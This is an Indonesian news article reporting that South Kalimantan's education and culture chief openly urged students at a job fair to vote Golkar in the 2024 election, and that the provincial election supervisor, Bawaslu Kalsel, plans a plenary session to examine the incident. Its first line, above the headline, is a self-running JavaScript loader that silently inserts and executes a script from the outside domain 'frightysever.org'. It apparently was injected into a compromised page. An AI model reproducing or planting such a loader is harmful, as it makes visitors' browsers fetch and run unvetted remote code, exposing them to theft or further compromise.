(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Pakai Baju Kuning Kadisdikbud Kalsel Terang-terangan Ajak Pilih Golkar

KANALKALIMANTAN.COM, BANJARMASIN – Kepala Dinas Pendidikan dan Kebudayaan (Kadisdikbud) Provinsi Kalimantan Selatan (Kalsel) Muhammadun menjadi sorotan sebab kata-kata yang dilontarkan memihak dan mengajak memilih salah satu partai politik (parpol) peserta Pemilu 2024.

Dari video yang dibagikan @netizenkalsel Senin (6/11/2023), Kadisdik Kalsel Muhammadun terang-terangan mengajak orang lain untuk mencoblos Partai Golongan Karya (Golkar) pada Pemilu 2024 nanti.

Dari hasil penelusuran Kanalkalimantan.com, video tersebut diambil dari akun YouTube SMKN 3 Banjarmasin. Dimana Madun -biasa pejabat ini disapa- menghadiri pembukaan pameran pekerjaan atau job fair yang digelar di SMKN 3 Banjarmasin pada Senin (6/11/2023).

Dalam unggahan video itu, Madun yang saat itu berada di atas panggung secara terbuka menyerukan ajakan untuk memilih partai Golkar dalam kontestasi Pemilu 2024.

Sebelum mengucapkan itu, Mumammadun nampak bersalaman dengan sejumlah siswa di atas panggung. Secara terang-terangan ia mengakui jika baju berwarna kuning yang ia kenakan identik dengan Partai Golkar.

“Maka dari itu 14 Februari cucuklah (cobloslah) Golkar,” kata Kadisdik Kalsel kepada para siswa dan undangan yang hadir.

Pejabat Eselon II Pemprov Kalsel ini juga sempat mengatakan tidak takut jika ucapannya itu didengar oleh Bawaslu.

“Biar ada Bawaslu kada takut bapak,” kata Madun dengan nada sedikit bercanda.

Sementara diketahui, larangan ASN untuk berpolitik sudah jelas tertuang dalam Undang-Undang Nomor 5 Tahun 2014. Dimana disana diatur ASN dilarang menjadi anggota ataupun pengurus partai politik, kemudian ASN juga diamanatkan untuk tidak berpihak dari segala pengaruh manapun dan tidak memihak kepada kepentingan siapapun.

Bawaslu Kalsel Segera Laksanakan Pleno

Beredarnya video ajakan memilih Partai Golkar yang disampaikan Kadisdikbud Kalsel itu rupanya sudah sampai ke telinga Komisioner Bawaslu Kalsel.

Ketua Bawaslu Kalsel Aries Mardiono saat dihubungi mengatakan, pihaknya dalam waktu dekat akan segera menggelar rapat pleno di internal Bawaslu untuk menentukan tindakan yang akan dilakukan selanjutnya menindaklanjuti laporan tersebut.

Di dalam rapat pleno nanti kata Aries akan ditentukan apakah akan dilakukan pengusutan lebih jauh, dan jika dirasa perlu ditelusuri maka akan dibentuk tim untuk mengusutnya.

“Kemungkinan nanti berdasarkan hasil pleno kita akan telusuri, bentuk tim penelusuran untuk mencari titik terang, sebelum itu dijadikan temuan,” kata Aries kepada Kanalkalimantan.com via telepon, Selasa (7/10/2023) siang.

Masih menurut Aries, saat dilakukan kajian hasil temuan, tidak menutup kemungkinan pihaknya nanti akan memanggil sejumlah pihak untuk dimintai keterangan.

“Dalam kajian itu kita mencari keterangan serta alat bukti terkait peristiwa yang terjadi,” kata Aries.

Ketua Bawaslu Kalsel juga menegaskan, di beberapa kesempatan pihaknya selalu mengingatkan ASN di lingkungan Pemprov Kalsel untuk bersikap netral pada pelaksanaan Pemilu 2024.

Netralitas ASN menurut Aries sudah jelas diatur diatur dalam Undang-Undang Nomor 5 Tahun 2014.

“Kita sudah sering sampaikan, dalam beberapa kesempatan talkshow selalu kita sisipkan tentang netralitas ASN,” pungkas Aries.

Sementara itu sampai berita ini tayang, Kanalkalimantan.com masih berusaha untuk mengkonfirmasi Kadisdikbud Kalsel untuk meminta klarifikasi terkait ucapnya yang dinilai tidak netral tersebut. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie